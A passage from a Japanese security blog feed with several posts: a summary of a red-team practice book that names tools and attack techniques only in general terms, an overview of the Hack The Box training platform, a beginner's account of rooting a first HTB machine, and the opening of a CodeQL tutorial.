Penetration Testing Execution Standard</a>」が紹介されておりとても参考になります。</p> <p> </p> <p>レッドチームと比較した場合に、ペネトレーションテストは</p> <p>・系統的なセキュリティアセスメント</p> <p>・スコープが制限され、期間も1~2週間</p> <p>・脆弱性を特定することを目的</p> <p> </p> <p>レッドチームは</p> <p>・柔軟なセキュリティアセスメント</p> <p>・ルールがなく、期間も長く1週間から半年</p> <p>・ブルーチームのプロセス、ポリシーのギャップを特定することを目的</p> <p> </p> <p>という違いがあるようです。</p> <p> </p> <h3 id="第1章-セットアップ-武器を選ぶ">第1章 セットアップ 武器を選ぶ</h3> <p>この章ではC2サーバと接続させるツールと方法について説明されています。</p> <p> </p> <p>ここでも多くのツールが紹介されており、その一つとして<a href="https://github.com/iagox86/dnscat2">dnscat2</a>というツールではDNSプロトコルを利用してC2チャネルを作成するものがあります。</p> <p>制限されたオフィス環境などでは直接外部とのサーバと通信できないこともありますが、その場合でもDNSサーバを通してマルウェアにC2実行できるというものです。</p> <p> </p> <h3 id="第2章-スナップ前にレッドチームの偵察">第2章 スナップ前にレッドチームの偵察</h3> <p>レッドチーム、ペンテストチーム共に最初に行う偵察のフェーズで行うツールの紹介がされています。</p> <p>Nmap, Shodan, Censysといったものから、サブドメインの検出ツール、Githubにパスワードなどが入っていないか検出する方法、AWS S3の列挙ツールなども紹介されています。</p> <p> </p> <p>また、参考として<a href="https://osintframework.com/">OSINT Framework</a>というサイトも紹介されています。</p> <p>ここでは、例えばEmail Addressを検索するためのサイト一覧などがまとめられています。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200628/20200628212222.png" alt="f:id:security_index:20200628212222p:plain" title="f:id:security_index:20200628212222p:plain" class="hatena-fotolife" itemprop="image" width="509" /></p> <p> </p> <h3 id="第3章-スロー-Webアプリケーションのエクスプロイト">第3章 スロー Webアプリケーションのエクスプロイト</h3> <p>ここではChat Support Systemという脆弱なWebサービス(VMイメージ)を使っていくつかの攻撃をやってみるという章です。</p> <p> </p> <p>XSSをやってみる場合もただAlertを出すだけでなく、難読化したペイロードを作成してWebアプリケーションファイアウォール(WAF)で止められにくいようにする方法やブラインドXSS、DOMベースのXSS、Node.jsでPugテンプレートエンジンが使われている場合のXSSなどが紹介されています。</p> <p>よくあるセキュリティの本より一歩踏み込んだ内容だと思います。</p> <p> </p> <p>Node.jsでのデシリアライゼーションの攻撃もBurp Suiteを使って実際にペイロードを作成して少しずつリモートコード実行(RCE)できるようにするために試行錯誤していくステップが書かれています。</p> <p> </p> <p>その他、SSRF、XXE、OOB-XXEも紹介されています。</p> <p> </p> <p>PugテンプレートエンジンへのXSSなどみてわかるように言語特有、フレームワーク特有のものが多くあるのでセキュリティエンジニアはセキュリティのことだけでなく言語、フレームワークに関する知識もなくてはいけません。</p> <p> </p> <h3 id="最後に">最後に</h3> <p>内容が濃くて面白い本です!まだ3分の1程しか読めてませんが・・・</p> <p>ひとつひとつの細かい情報にリンクが明記されているので詳しく調べることもできるのも良い点だと思います。</p> <p> </p> <p>続き</p> <p>・<a href="https://security-index.hatenablog.com/entry/2020/07/05/213242">サイバーセキュリティ レッドチーム実践ガイド その2</a></p> <p>・<a href="https://security-index.hatenablog.com/entry/2020/07/23/135117">サイバーセキュリティ レッドチーム実践ガイド その3</a></p> <p> </p> <p><a href="https://amzn.to/2YEPALJ">サイバーセキュリティ レッドチーム実践ガイド</a></p> <p><a href="https://amzn.to/3ibSzmv">サイバーセキュリティテスト完全ガイド ~Kali Linuxによるペネトレーションテスト~ </a></p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> security_index Hack The Boxって何?と思ったら読むブログ hatenablog://entry/26006613587638136 2020-06-21T22:11:51+09:00 2020-09-27T17:43:56+09:00 CTFもやったことがない初心者が先週からHack The Box (HTB) を始めて、現在やっと2つのrootを取ることができました。 ただ、Hack The Boxって何?と聞かれてもCTFを楽しめるサービス?というようにしか答えられない気がしたので少し調べてみました! とにかくHack The Boxを始めたい!という人は以前に書いたこちらのブログかこちらのQiitaの記事が参考になります。 Hack The Boxを始めて1つrootを取るまでのメモ - Security Index Hack The Boxを楽しむためのKali Linuxチューニング - Qiita <p>CTFもやったことがない初心者が先週からHack The Box (HTB) を始めて、現在やっと2つのrootを取ることができました。</p> <p> </p> <p>ただ、Hack The Boxって何?と聞かれてもCTFを楽しめるサービス?というようにしか答えられない気がしたので少し調べてみました!</p> <p> </p> <p>とにかくHack The Boxを始めたい!という人は以前に書いたこちらのブログかこちらのQiitaの記事が参考になります。</p> <p><a href="https://security-index.hatenablog.com/entry/2020/06/14/134334">Hack The Boxを始めて1つrootを取るまでのメモ - Security Index</a></p> <p><a href="https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84">Hack The Boxを楽しむためのKali Linuxチューニング - Qiita</a></p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200620/20200620204118.png" alt="f:id:security_index:20200620204118p:plain" title="f:id:security_index:20200620204118p:plain" class="hatena-fotolife" itemprop="image" width="513" /></p> <p> </p> <ul class="table-of-contents"> <li><a href="#会社概要">会社概要</a></li> <li><a href="#パートナー">パートナー</a></li> <li><a href="#サービス">サービス</a><ul> <li><a href="#ラボ">ラボ</a><ul> <li><a href="#プロラボ">プロラボ</a></li> </ul> </li> <li><a href="#Job-Offer">Job Offer</a></li> </ul> </li> <li><a href="#その他">その他</a><ul> <li><a href="#ISC2-CPE-サポート">(ISC)2 CPE サポート</a></li> <li><a href="#Store">Store</a></li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <p> </p> <h3 id="会社概要">会社概要</h3> <p>2017年6月創業でまだ設立3年程しか経っていないイギリスの会社です。</p> <p>従業員数も11~50人ほどの規模のようです。</p> <p><a href="https://www.crunchbase.com/organization/hack-the-box">https://www.crunchbase.com/organization/hack-the-box</a></p> <p> </p> <p>全世界での利用者は現在34万人以上。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621114301.png" alt="f:id:security_index:20200621114301p:plain" title="f:id:security_index:20200621114301p:plain" class="hatena-fotolife" itemprop="image" width="467" /></p> <p> </p> <h3 id="パートナー">パートナー</h3> <p>Hack The Boxとパートナー、スポンサーを結んでいる企業がいくつかあります。</p> <p><a href="https://parrotsec.org/">Parrot OS</a>というペンテストやフォレンジックがしやすい環境が揃っているDebianベースのディストリビューションを提供しているParrot Securityがパートナーになっています。</p> <p>2020年5月8日のプレースリリースでHack The Boxのプラットフォームに組み込まれ、HTBユーザーが気軽に利用できるようになり、Parrot OSにフィードバックが届くようになる、という流れを期待しているようです。</p> <p><a href="https://www.hackthebox.eu/press/supporting-parrot-os">Hack The Box + Parrot OS :: Press Release :: Hack The Box :: Penetration Testing Labs</a></p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621145637.png" alt="f:id:security_index:20200621145637p:plain" title="f:id:security_index:20200621145637p:plain" class="hatena-fotolife" itemprop="image" width="524" /></p> <p><br />3年でセキュリティ企業9社とパートナー、スポンサー契約をしているようなのでなかなか凄い・・・</p> <p> </p> <h3 id="サービス">サービス</h3> <h4 id="ラボ">ラボ</h4> <p>利用者はラボをペネトレーションテスト(侵入テスト)の学習を無料ですることができます。</p> <p>ラボは以下の2つのタイプがあります。</p> <p>Machine : 脆弱なLinux / WIndow サーバーに侵入し、root権限(root.txt)を取る</p> <p>Challenge : CTFでよくある<span style="color: #333333; font-family: Meiryo, メイリオ, 'Hiragino Kaku Gothic ProN', Verdana, Arial, Helvetica, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: 1.2px; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Jeopardy形式の問題を解く</span></p> <p><a href="https://jpn.nec.com/cybersecurity/blog/200619/index.html">トレーニングコンテンツ:「Hack The Box」を触り始めてみた: NECセキュリティブログ | NEC</a></p> <p> </p> <p>常に20台の最新のMachineを使って学習することができ、過去の110台以上のMachineも月に1400円程払ってVIP会員になることで利用することができます。</p> <p> </p> <p>Machineをクリアすることでポイントを得ることができるのでそのポイントで世界中のユーザーとポイントを競うことができます。</p> <p>他のCTFでもそうですが、ポイントやランキングといったゲーム要素があるためより楽しめるようになっています。</p> <p> </p> <p>日本だと恐らくAquaさんが57位でTopです!</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621154449.png" alt="f:id:security_index:20200621154449p:plain" title="f:id:security_index:20200621154449p:plain" class="hatena-fotolife" itemprop="image" width="507" /></p> <p> </p> <p>また、First Bloodという初めてそのMachineを攻略した人には追加でポイントと誰がどのくらいの時間かかったのが表示されます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621154823.png" alt="f:id:security_index:20200621154823p:plain" title="f:id:security_index:20200621154823p:plain" class="hatena-fotolife" itemprop="image" width="372" /></p> <p> </p> <p>MachineやChallengeをクリアしポイントが増やすことでランクをあげることができます。</p> <p>私はまだ「Script Kiddie」ですが、「Hacker」-&gt;「Pro Hacker」-&gt;「Elite Hacker」-&gt;「Guru (達人)」-&gt;「Omniscient (全知、神) 」とランクを上げていくことができます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621155357.png" alt="f:id:security_index:20200621155357p:plain" title="f:id:security_index:20200621155357p:plain" class="hatena-fotolife" itemprop="image" width="248" /></p> <p> </p> <h5 id="プロラボ">プロラボ</h5> <p>実際の企業の環境をシュミレートしたプロラボというものもあります。</p> <p>月額£20 (年間£220) + セットアップ£70 の費用がかかりますがより本格的なペンテストを体験できるのだと思います。</p> <p> </p> <p>現在は3つの環境が用意されています。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621194748.png" alt="f:id:security_index:20200621194748p:plain" title="f:id:security_index:20200621194748p:plain" class="hatena-fotolife" itemprop="image" /></p> <h4 id="Job-Offer"> <br />Job Offer</h4> <p>Hack The Box内で求人が出ているのでランクを上げて求人に応募することもできます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621155806.png" alt="f:id:security_index:20200621155806p:plain" title="f:id:security_index:20200621155806p:plain" class="hatena-fotolife" itemprop="image" width="380" /></p> <p> </p> <p>上記の求人はElite Hacker以上のランクがないと応募できないものです。</p> <p>内容は6point6という会社がRed Teamのシニアペンテスターとして募集しているものです。</p> <p>この求人の勤務地はLondonで、それ以外にもベルリン、ドイツ、スイス、シンガポールなど。恐らく勤務地が日本のものはないと思います。</p> <p> </p> <p> </p> <h3 id="その他">その他</h3> <h4 id="ISC2-CPE-サポート">(ISC)2 CPE サポート</h4> <p>VIPメンバーのみですが、CISSPの資格を維持するためにも必要なCPEクレジットの提出も可能です。</p> <p> </p> <p>Active MachineのEasyの問題を解いたら2ポイント、Mediumなら4ポイントといった形で割り振られています。</p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621192527.png" alt="f:id:security_index:20200621192527p:plain" title="f:id:security_index:20200621192527p:plain" class="hatena-fotolife" itemprop="image" width="381" /></p> <p><a href="https://www.hackthebox.eu/press/cpe-credits">ISC2 CPEs :: Press Release :: Hack The Box :: Penetration Testing Labs</a></p> <p> </p> <h4 id="Store">Store</h4> <p>Hack The Boxの公式アイテムも販売しています。</p> <p>ステッカーやTシャツ、パーカーなど。</p> <p>送料も£5で送れるようなので今度買ってみようかな。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200621/20200621193707.png" alt="f:id:security_index:20200621193707p:plain" title="f:id:security_index:20200621193707p:plain" class="hatena-fotolife" itemprop="image" width="423" /></p> <p><a href="https://hackthebox.store/">Hack The Box Store</a></p> <p> </p> <h3 id="最後に">最後に</h3> <p>Hack The Boxは設立からまだ3年程しか経っていませんがユーザー数34万人以上、パートナー・スポンサーも9社と大きく成長しています。</p> <p>今後も期待できそうなので今から公式グッズを買ってみようかな!</p> <p> </p> <p>私自身がまだまだEasyの問題でも解くのに苦戦するレベルなので、<a href="https://amzn.to/2YQwrFA">レッドチーム実践ガイド</a>買ったので明日から読んで勉強します!</p> <p> </p> <p>-&gt; 読んで内容をまとめた記事はこちら</p> <p><a href="https://security-index.info/entry/2020/06/28/215115">サイバーセキュリティ レッドチーム実践ガイド その1 - Security Index</a></p> <p> </p> <p>まだ書き足りない気がするので今後も少しずつ追記していきたいと思います! </p> <p>Hack The Boxと他のCTFの違いなども書きたかったのですが、私自身が他のCTFをやったことがなく書けませんでした・・・</p> <p>こんな違いがあると思うよーと知っている方がいましたらコメントに書いてくださると嬉しいです! </p> <p> </p> <p>よりHack The Boxをやってみたイメージを掴むためにSaunaというWindowsマシンの<span style="color: #3f3f3f; font-family: -apple-system, system-ui, 'Helvetica Neue', 'Hiragino Sans', 'Hiragino Kaku Gothic ProN', '游ゴシック Medium', meiryo, sans-serif; font-size: 15px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Walkthrough(Writeup)を読むのもおすすめです。</span></p> <p><a href="https://security-index.hatenablog.com/entry/2020/08/17/201803">Hack The Box: Sauna Walkthrough (IppSec) - Security Index</a></p> <p> </p> <p> </p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> security_index Hack The Boxを始めて1つrootを取るまでのメモ hatenablog://entry/26006613584870987 2020-06-14T13:43:34+09:00 2020-09-27T17:44:47+09:00 CTFも全くやったことがない素人がHack The Boxを始めて、1つrootを取るまでにどんなことをやったのか、どれくらいかかったのかなどのメモ書きです。 <p>CTFも全くやったことがない素人がHack The Boxを始めて、1つrootを取るまでにどんなことをやったのか、どれくらいかかったのかなどのメモ書きです。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200614/20200614105344.png" alt="f:id:security_index:20200614105344p:plain" title="f:id:security_index:20200614105344p:plain" class="hatena-fotolife" itemprop="image" width="496" /></p> <p> </p> <p> </p> <ul class="table-of-contents"> <li><a href="#1-v_avenger-さんのHack-The-Boxを楽しむためのKali-Linuxチューニングを読む">1. @v_avenger さんの「Hack The Boxを楽しむためのKali Linuxチューニング」を読む</a></li> <li><a href="#2-Invitation-Code招待コードを見つける">2. Invitation Code(招待コード)を見つける</a></li> <li><a href="#3-Starting-Point">3. Starting Point</a></li> <li><a href="#4-Active-Machineにチャレンジする">4. Active Machineにチャレンジする</a></li> <li><a href="#5-sanpo_shiho-さんのHack-the-Box-write-upを読む">5. @sanpo_shiho さんのHack the Box write-upを読む</a></li> <li><a href="#6-どうしても解けないので別のMachineに変える">6. どうしても解けないので別のMachineに変える</a></li> <li><a href="#7-Hack-the-BoxのForumを見る">7. Hack the BoxのForumを見る</a></li> <li><a href="#振り返り">振り返り</a></li> </ul> <p> </p> <h3 id="1-v_avenger-さんのHack-The-Boxを楽しむためのKali-Linuxチューニングを読む">1. @v_avenger さんの「Hack The Boxを楽しむためのKali Linuxチューニング」を読む</h3> <p> </p> <p>Hack The Box (HTB) は名前は最近よく目にしててCTFが楽しめる海外のサービスぐらいの知識しかなく、一体に何から始めてればいいのかわからない状態だったのでこちらの記事を見てから始めました。</p> <p> </p> <p><iframe class="embed-card embed-webcard" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" title="Hack The Boxを楽しむためのKali Linuxチューニング - Qiita" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fqiita.com%2Fv_avenger%2Fitems%2Fc85d946ed2b6bf340a84" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84">qiita.com</a></cite></p> <p> </p> <p>簡単にKali Linuxの構築方法も書かれています。</p> <p>こちらの内容だけでも十分ですが、私は以前に@ipusiron さんの『<a href="https://amzn.to/30ERFZr">ハッキング・ラボのつくりかた</a>』を持っていたのでこちらも一緒に参考にしながら進めることができたので躓くことはありませんでした。</p> <p>私のような本当に初心者で少し不安がある人はハッキング・ラボのつくりかたがあると安心かもしれません。</p> <p> </p> <p>Kali Linuxの構築はダウンロード含めて時間が掛かるので、同時並行でHack The Boxに登録するための Invitation Code(招待コード)を見つける作業を行いました。</p> <p> </p> <h3 id="2-Invitation-Code招待コードを見つける">2. Invitation Code(招待コード)を見つける</h3> <p> </p> <p>Hack The Boxは誰でも参加できますが、参加するためにまずはInvitation Code(招待コード)を見つける必要があります。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200614/20200614111420.png" alt="f:id:security_index:20200614111420p:plain" title="f:id:security_index:20200614111420p:plain" class="hatena-fotolife" itemprop="image" width="367" /></p> <p> </p> <p>見つけるための参考情報も先ほどの「Hack The Boxを楽しむためのKali Linuxチューニング」に書かれています。</p> <p> </p> <p>私の場合はCTFもしたことがなく始めてだったのですが、30分くらいで見つけることができました。</p> <p> </p> <p>Web系の開発をやったことがある人ならCTF経験なくても少し時間をかければ問題なく見つけることができると思います。</p> <p> </p> <h3 id="3-Starting-Point">3. Starting Point</h3> <p> </p> <p>登録したらまずStaring Pointというチュートリアルを受けることがおすすめされています。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200614/20200614111815.png" alt="f:id:security_index:20200614111815p:plain" title="f:id:security_index:20200614111815p:plain" class="hatena-fotolife" itemprop="image" width="496" /></p> <p> </p> <p>どういった手順でどういったツールを使う必要があるのかを丁寧に解説されているので、ここを進めることが良さそうなのですが・・・</p> <p> </p> <p>私の環境ではなぜかターゲットとなるサーバーが落ちていたのか、回線が混み合っていたためか「Enumeration」のnmapのスキャンができず、3~4時間ほど悩みに悩んで上手くいかないということがありました。。。</p> <p> </p> <p>なので、少しやって上手くいかなかったら時間を置いてやってみたり、VPNの接続サーバーを変えてみたりして、どうしても上手くいかなったら中身だけ読んでスキップした方が良さそうです。</p> <p> </p> <h3 id="4-Active-Machineにチャレンジする">4. Active Machineにチャレンジする</h3> <p> </p> <p>Starting Pointは諦めて実際のMachineにチャレンジしました。</p> <p>難易度 (Difficulty)が割り振られているのでその中で一番優しいEasyでFilterを掛け探しました。</p> <p>難易度はEasy意外にもMedium, Hard, Insaneがあります。</p> <p> </p> <p>Easyは私がみた時は全部で6こあり、WindowsとLinuxの2つの環境がありました。</p> <p>Windowsは何もわからないのでLinuxを選択して、ターゲットのIPをメモすれば始めることができます。</p> <p> </p> <p>始めて、最初にnmapをしたり、自分でできる限りのことをやってもすぐに行き詰まります。</p> <p> </p> <h3 id="5-sanpo_shiho-さんのHack-the-Box-write-upを読む">5. @sanpo_shiho さんのHack the Box write-upを読む</h3> <p> </p> <p>行き詰まった時@sanpo_shiho さんのHack the Box write-upを読んで、他の人はどうやっているのかをみてました。</p> <p> </p> <p><iframe class="embed-card embed-webcard" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" title="【Hack the Box write-up】Bank - Qiita" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fqiita.com%2Fsanpo_shiho%2Fitems%2F46dd6a329fff608ea7d1" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://qiita.com/sanpo_shiho/items/46dd6a329fff608ea7d1">qiita.com</a></cite></p> <p> </p> <p>gobusterというブルートフォースツールでどんなファイルがありそうか確認できたり、AutoReconというnmap以上のことを色々やってくれるものがあったり。</p> <p> </p> <p>Githubにチートシートを公開してくれているので困った時に何かいいツールがないか確認させてもらいました!</p> <p> </p> <p><iframe class="embed-card embed-webcard" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" title="sanposhiho/MY_CHEAT_SHEET" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgithub.com%2Fsanposhiho%2FMY_CHEAT_SHEET" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://github.com/sanposhiho/MY_CHEAT_SHEET">github.com</a></cite></p> <p> </p> <p> </p> <h3 id="6-どうしても解けないので別のMachineに変える">6. どうしても解けないので別のMachineに変える</h3> <p> </p> <p>最初に選んだMachineに2~3時間格闘しましたが、どうすればいいのかわからなくなったので別のマシンに変えました。</p> <p> </p> <p>始めての時は何が原因で躓いているのか本当にわからないと思うので一度別のMachineに変えてみた方がいいと思います。</p> <p> </p> <p>別のマシンに変え3~4時間格闘し、あと少しでroot取れそう・・・というところで25時になってしまったので明日に持ち越しました。</p> <p> </p> <p>格闘中、知らないファイルや拡張子をひたすらググってなんのためのファイルなのか、何か利用できないか調べまくっていました。</p> <p> </p> <h3 id="7-Hack-the-BoxのForumを見る">7. Hack the BoxのForumを見る</h3> <p> </p> <p>次の日の朝から再開して、たまたまHack the Boxの公式のForumを見つけました。</p> <p> </p> <p>Forumでは答えは載っていませんが参考になるツールやどういう観点で調べた方がいいのかのTipsが多く話されています。</p> <p> </p> <p><iframe class="embed-card embed-webcard" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" title="Traceback" src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fforum.hackthebox.eu%2Fdiscussion%2F2836%2Ftraceback" frameborder="0" scrolling="no"></iframe><cite class="hatena-citation"><a href="https://forum.hackthebox.eu/discussion/2836/traceback">forum.hackthebox.eu</a></cite></p> <p> </p> <p>初めからここを見てしまうとかなり楽に取れてしまう恐れがあるのでどうしても躓いたら、くらいの時に見た方がいいかもです。</p> <p> </p> <p>また、rootが取れた後の振り返りや他の人はどうやったのか、などを見るのに使ってもいいかもです。</p> <p> </p> <p>このForumを見て自分が抜けてた観点を見つけて、少し進めてみたらついにrootを取ることができました!!</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200614/20200614115902.png" alt="f:id:security_index:20200614115902p:plain" title="f:id:security_index:20200614115902p:plain" class="hatena-fotolife" itemprop="image" width="311" /></p> <p> </p> <h3 id="振り返り">振り返り</h3> <p>CTFもやったことがない初心者がHack The Boxに登録して、Kali Linuxの構築して、rootを取るまでにほぼ丸一日 (土曜日の午後から始めて日曜日のお昼前まで) 掛かりました・・・</p> <p> </p> <p>途中、Starting Pointで無駄に時間を掛けてしまったこともあったのでこういうところは他の人には同じ苦労を掛けて欲しくない、また他の人は始めてやった時どれくらい時間が掛かったのかとか知りたいと思ったので簡単にまとめてみました。</p> <p> </p> <p>やって見ると凄く面白く、久しぶりに一日中夢中になってできたのでこれからも少しずつやってみたいと思いました!</p> <p> </p> <p>root取るために調べていく中で知らないLinux コマンドや設定に多く遭遇するのでかなり勉強になります。</p> <p>ペンテストなどで役立つツールも知ることができますし、ツールを使っても出てくる内容やそもそものプロトコルを知らないと使いこなせなかったりと学びが本当に多いです。</p> <p> </p> <p>今回は、通常のFree版で使い始めましたが、Free版だと1つのMachineを複数人で利用するためにすでに色々なファイルが生成されていたり、途中でMachineがリセットされてしまったりと面倒な部分も確かにあります。</p> <p>VIPになると昔のMachineにチャレンジできたり、1つのMachineへのユーザー制限があったりといい部分もあるので検討してもいいかもです。</p> <p>£ 10/month なので1350円/月くらいで利用できるみたいです。</p> <p> </p> <p>最近、日本でもHack The Boxが人気になりつつあるようですが、Country Rankingsではまだまだ26位。</p> <p>アメリカ、インド、Hack The Boxの開発拠点のイギリスがTop3。</p> <p>日本のHack The Boxユーザーがもっと増えるといいですね!</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200615/20200615083555.png" alt="f:id:security_index:20200615083555p:plain" title="f:id:security_index:20200615083555p:plain" class="hatena-fotolife" itemprop="image" width="500" /></p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200615/20200615083532.png" alt="f:id:security_index:20200615083532p:plain" title="f:id:security_index:20200615083532p:plain" class="hatena-fotolife" itemprop="image" width="502" /></p> <p> </p> <p>Hack The Boxそのものについての記事はこちら。 </p> <p><a href="https://security-index.hatenablog.com/entry/2020/06/21/221151">Hack The Boxって何?と思ったら読むブログ - Security Index</a></p> <p> </p> <p>よりHack The Boxをやってみたイメージを掴むためにSaunaというWindowsマシンの<span style="color: #3f3f3f; font-family: -apple-system, system-ui, 'Helvetica Neue', 'Hiragino Sans', 'Hiragino Kaku Gothic ProN', '游ゴシック Medium', meiryo, sans-serif; font-size: 15px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Walkthrough(Writeup)を読むのもおすすめです。</span></p> <p><a href="https://security-index.hatenablog.com/entry/2020/08/17/201803">Hack The Box: Sauna Walkthrough (IppSec) - Security Index</a></p> <p> </p> <p> </p> <p> </p> <p><a href="https://amzn.to/3fyQTlh">ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習</a></p> <p> </p> <p>HTB Badge</p> <div> <script src="https://www.hackthebox.eu/badge/341725"></script> </div> <p> </p> <p> </p> <p>Twitter <a href="https://twitter.com/security_index">(@security_index) | Twitter</a></p> <p> </p> security_index Githubの新しいセキュリティ機能 CodeQLを使ってみる hatenablog://entry/26006613576932654 2020-06-05T21:14:54+09:00 2020-06-06T18:08:45+09:00 CodeQLは、Semmleが提供しているコードセマンティック解析に使用するツールで、脆弱性やコードの品質の可視化を行うことができます。 2019年9月18日にGithubがCodeQLを開発しているSemmleを買収し、現在「GitHub Code Scanning」(リミテッドベータ)として利用することができるようになりました。 Welcoming Semmle to GitHub - The GitHub Blog GitHub、コードの脆弱性を発見してくれる「GitHub Code Scanning」発表、修正方法のアドバイスも。GitHub Satellite 2020 - Publ… <p>CodeQLは、Semmleが提供しているコードセマンティック解析に使用するツールで、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>やコードの品質の可視化を行うことができます。</p> <p> </p> <p>2019年9月18日に<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>がCodeQLを開発しているSemmleを買収し、現在「<a class="keyword" href="http://d.hatena.ne.jp/keyword/GitHub">GitHub</a> Code Scanning」(リミテッドベータ)として利用することができるようになりました。</p> <p><a href="https://github.blog/2019-09-18-github-welcomes-semmle/">Welcoming Semmle to GitHub - The GitHub Blog</a></p> <p><a href="https://www.publickey1.jp/blog/20/githubgithub_code_scanninggithub_satellite_2020.html">GitHub、コードの脆弱性を発見してくれる「GitHub Code Scanning」発表、修正方法のアドバイスも。GitHub Satellite 2020 - Publickey</a></p> <p> </p> <p>現在でもSemmleのLGTMからCodeQLを利用することができます。</p> <p>CodeQLを少し使ってみたので紹介したいと思います。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601083116.png" alt="f:id:security_index:20200601083116p:plain" title="f:id:security_index:20200601083116p:plain" class="hatena-fotolife" itemprop="image" width="377" /></p> <p> </p> <ul class="table-of-contents"> <li><a href="#CodeQLを使ってみる">CodeQLを使ってみる</a><ul> <li><a href="#Github連携">Github連携</a></li> <li><a href="#Alert--問題点の指摘">Alert : 問題点の指摘</a></li> <li><a href="#Code-quality--品質のグレード評価">Code quality : 品質のグレード評価</a></li> <li><a href="#Compare--他のOSSと比較する">Compare : 他のOSSと比較する</a></li> <li><a href="#Queries--CodeQLで指摘する内容一覧">Queries : CodeQLで指摘する内容一覧</a><ul> <li><a href="#goのquery">goのquery</a></li> <li><a href="#JavaScriptのquery">JavaScriptのquery</a></li> </ul> </li> <li><a href="#History--過去のAlertの数の推移">History : 過去のAlertの数の推移</a></li> <li><a href="#Integrations--Pull-RequestのAuto-Review--READMEのbadge--IDE">Integrations : Pull RequestのAuto Review &amp; READMEのbadge &amp; IDE </a><ul> <li><a href="#Pull-Request-Auto-Revie">Pull Request Auto Revie</a></li> <li><a href="#READMEBadge">README Badge</a></li> <li><a href="#IDEでAlert確認">IDEでAlert確認</a></li> <li><a href="#IDEでクエリー-Local-Analysis">IDEでクエリー (Local Analysis)</a></li> </ul> </li> <li><a href="#対応言語">対応言語</a></li> </ul> </li> <li><a href="#CodeQLを学んでみる">CodeQLを学んでみる</a><ul> <li><a href="#Github-Learning-Lab">Github Learning Lab</a></li> <li><a href="#CTF">CTF</a></li> </ul> </li> <li><a href="#最後に">最後に</a></li> </ul> <p>  </p> <h3 id="CodeQLを使ってみる">CodeQLを使ってみる</h3> <h4 id="Github連携"><a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>連携</h4> <p>CodeQLを使い始めるのは凄く簡単です。</p> <p><a href="https://lgtm.com/">lgtm</a>へアクセスし、「Log in」より<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>連携を行うことで利用することができます。</p> <p> </p> <p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20200601/20200601084551.png" alt="f:id:security_index:20200601084551p:plain" title="f:id:security_index:20200601084551p:plain" class="hatena-fotolife" itemprop="image" width="370" /></p> <p> </p> <p>今回、TDDで開発した簡単なGoの<a class="keyword" 